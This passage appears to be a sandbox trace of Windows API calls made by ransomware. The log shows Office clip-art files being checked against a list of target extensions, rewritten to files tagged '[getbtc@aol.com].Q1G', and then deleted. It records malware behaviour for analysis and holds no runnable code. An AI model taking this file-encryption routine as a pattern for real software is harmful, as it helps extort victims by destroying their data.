files\\microsoft office\\clipart\\pub60cor\\j0099192.gif")) returned 1 [0255.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0255.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0255.283] lstrlenW (lpString=".doc") returned 4 [0255.283] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.283] lstrlenW (lpString=".docx") returned 5 [0255.283] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0255.283] lstrlenW (lpString=".pdf") returned 4 [0255.283] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.283] lstrlenW (lpString=".xls") returned 4 [0255.283] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.283] lstrlenW (lpString=".xlsx") returned 5 [0255.283] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0255.283] lstrlenW (lpString=".ppt") returned 4 [0255.283] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0255.283] lstrlenW (lpString=".zip") returned 4 [0255.283] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.283] lstrlenW (lpString=".rar") returned 4 [0255.283] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.283] lstrlenW (lpString=".bz2") returned 4 [0255.283] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.283] lstrlenW (lpString=".7z") returned 3 [0255.283] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0255.283] lstrlenW (lpString=".dbf") returned 4 [0255.283] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0255.283] lstrlenW (lpString=".1cd") returned 4 [0255.284] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0255.284] lstrlenW (lpString=".jpg") returned 4 [0255.284] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0255.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0255.284] lstrlenW (lpString=".doc") returned 4 [0255.284] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.284] lstrlenW (lpString=".docx") returned 5 [0255.284] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0255.284] lstrlenW (lpString=".pdf") returned 4 [0255.284] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.284] lstrlenW (lpString=".xls") returned 4 [0255.284] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.284] lstrlenW (lpString=".xlsx") returned 5 [0255.284] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0255.284] lstrlenW (lpString=".ppt") returned 4 [0255.284] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0255.284] lstrlenW (lpString=".zip") returned 4 [0255.284] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.284] lstrlenW (lpString=".rar") returned 4 [0255.284] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.284] lstrlenW (lpString=".bz2") returned 4 [0255.284] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.284] lstrlenW (lpString=".7z") returned 3 [0255.284] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0255.284] lstrlenW (lpString=".dbf") returned 4 [0255.284] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0255.284] lstrlenW (lpString=".1cd") returned 4 [0255.284] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF") returned 63 [0255.284] lstrlenW (lpString=".jpg") returned 4 [0255.285] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.285] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0255.285] lstrlenW (lpString="J0099196.GIF") returned 12 [0255.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0255.310] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=14337) returned 1 [0255.310] CloseHandle (hObject=0x3f0) returned 1 [0255.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif")) returned 0x20 [0255.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0255.347] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.347] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0255.347] GetLastError () returned 0x0 [0255.348] ReadFile (in: hFile=0x3f0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x3801, lpOverlapped=0x0) returned 1 [0255.353] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x3810, lpOverlapped=0x0) returned 1 [0255.354] ReadFile (in: hFile=0x3f0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.354] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.354] SetEndOfFile (hFile=0x3d8) returned 1 [0255.354] CloseHandle (hObject=0x3d8) returned 1 [0255.354] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.354] SetEndOfFile (hFile=0x3f0) returned 1 [0255.358] CloseHandle (hObject=0x3f0) returned 1 [0255.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif")) returned 1 [0255.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0255.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0255.359] lstrlenW (lpString=".doc") returned 4 [0255.359] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.359] lstrlenW (lpString=".docx") returned 5 [0255.359] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0255.359] lstrlenW (lpString=".pdf") returned 4 [0255.359] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.359] lstrlenW (lpString=".xls") returned 4 [0255.359] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.359] lstrlenW (lpString=".xlsx") returned 5 [0255.359] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0255.359] lstrlenW (lpString=".ppt") returned 4 [0255.359] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0255.359] lstrlenW (lpString=".zip") returned 4 [0255.359] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.359] lstrlenW (lpString=".rar") returned 4 [0255.359] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.359] lstrlenW (lpString=".bz2") returned 4 [0255.359] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.359] lstrlenW (lpString=".7z") returned 3 [0255.359] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0255.359] lstrlenW (lpString=".dbf") returned 4 [0255.359] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0255.359] lstrlenW (lpString=".1cd") returned 4 [0255.359] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0255.359] lstrlenW (lpString=".jpg") returned 4 [0255.359] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0255.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0255.359] lstrlenW (lpString=".doc") returned 4 [0255.360] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.360] lstrlenW (lpString=".docx") returned 5 [0255.360] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0255.360] lstrlenW (lpString=".pdf") returned 4 [0255.360] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.360] lstrlenW (lpString=".xls") returned 4 [0255.360] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.360] lstrlenW (lpString=".xlsx") returned 5 [0255.360] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0255.360] lstrlenW (lpString=".ppt") returned 4 [0255.360] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0255.360] lstrlenW (lpString=".zip") returned 4 [0255.360] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.360] lstrlenW (lpString=".rar") returned 4 [0255.360] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.360] lstrlenW (lpString=".bz2") returned 4 [0255.360] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.360] lstrlenW (lpString=".7z") returned 3 [0255.360] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0255.360] lstrlenW (lpString=".dbf") returned 4 [0255.360] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0255.360] lstrlenW (lpString=".1cd") returned 4 [0255.360] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0255.360] lstrlenW (lpString=".jpg") returned 4 [0255.360] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.360] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0255.360] lstrlenW (lpString="J0099201.GIF") returned 12 [0255.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0255.419] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=51401) returned 1 [0255.419] CloseHandle (hObject=0x3ac) returned 1 [0255.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif")) returned 0x20 [0255.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0255.422] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.422] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0255.423] GetLastError () returned 0x0 [0255.423] ReadFile (in: hFile=0x3ac, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xc8c9, lpOverlapped=0x0) returned 1 [0255.434] WriteFile (in: hFile=0x200, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xc8d0, lpOverlapped=0x0) returned 1 [0255.435] ReadFile (in: hFile=0x3ac, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.435] WriteFile (in: hFile=0x200, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.435] SetEndOfFile (hFile=0x200) returned 1 [0255.435] CloseHandle (hObject=0x200) returned 1 [0255.435] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.436] SetEndOfFile (hFile=0x3ac) returned 1 [0255.439] CloseHandle (hObject=0x3ac) returned 1 [0255.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif")) returned 1 [0255.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0255.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0255.440] lstrlenW (lpString=".doc") returned 4 [0255.440] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.440] lstrlenW (lpString=".docx") returned 5 [0255.440] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0255.440] lstrlenW (lpString=".pdf") returned 4 [0255.440] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.440] lstrlenW (lpString=".xls") returned 4 [0255.440] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.440] lstrlenW (lpString=".xlsx") returned 5 [0255.440] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0255.440] lstrlenW (lpString=".ppt") returned 4 [0255.440] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0255.440] lstrlenW (lpString=".zip") returned 4 [0255.440] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.440] lstrlenW (lpString=".rar") returned 4 [0255.440] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.440] lstrlenW (lpString=".bz2") returned 4 [0255.440] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.440] lstrlenW (lpString=".7z") returned 3 [0255.440] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0255.440] lstrlenW (lpString=".dbf") returned 4 [0255.441] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0255.441] lstrlenW (lpString=".1cd") returned 4 [0255.441] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0255.441] lstrlenW (lpString=".jpg") returned 4 [0255.441] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0255.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0255.441] lstrlenW (lpString=".doc") returned 4 [0255.441] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0255.441] lstrlenW (lpString=".docx") returned 5 [0255.441] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0255.441] lstrlenW (lpString=".pdf") returned 4 [0255.441] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0255.441] lstrlenW (lpString=".xls") returned 4 [0255.441] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0255.441] lstrlenW (lpString=".xlsx") returned 5 [0255.441] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0255.441] lstrlenW (lpString=".ppt") returned 4 [0255.441] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0255.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0255.441] lstrlenW (lpString=".zip") returned 4 [0255.441] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0255.441] lstrlenW (lpString=".rar") returned 4 [0255.441] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0255.441] lstrlenW (lpString=".bz2") returned 4 [0255.441] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0255.441] lstrlenW (lpString=".7z") returned 3 [0255.441] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0255.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0255.441] lstrlenW (lpString=".dbf") returned 4 [0255.441] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0255.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0255.441] lstrlenW (lpString=".1cd") returned 4 [0255.441] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0255.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0255.441] lstrlenW (lpString=".jpg") returned 4 [0255.442] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0255.442] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.442] lstrlenW (lpString="J0099204.WMF") returned 12 [0255.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0255.592] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=17854) returned 1 [0255.592] CloseHandle (hObject=0x394) returned 1 [0255.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf")) returned 0x20 [0255.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0255.603] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.603] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0255.604] GetLastError () returned 0x0 [0255.604] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x45be, lpOverlapped=0x0) returned 1 [0255.626] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x45c0, lpOverlapped=0x0) returned 1 [0255.628] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.628] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.628] SetEndOfFile (hFile=0x3a8) returned 1 [0255.628] CloseHandle (hObject=0x3a8) returned 1 [0255.628] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.628] SetEndOfFile (hFile=0x3a0) returned 1 [0255.632] CloseHandle (hObject=0x3a0) returned 1 [0255.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.633] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf")) returned 1 [0255.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0255.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0255.633] lstrlenW (lpString=".doc") returned 4 [0255.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.633] lstrlenW (lpString=".docx") returned 5 [0255.633] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0255.633] lstrlenW (lpString=".pdf") returned 4 [0255.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.633] lstrlenW (lpString=".xls") returned 4 [0255.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.633] lstrlenW (lpString=".xlsx") returned 5 [0255.633] lstrcmpiW (lpString1=".xlsx", 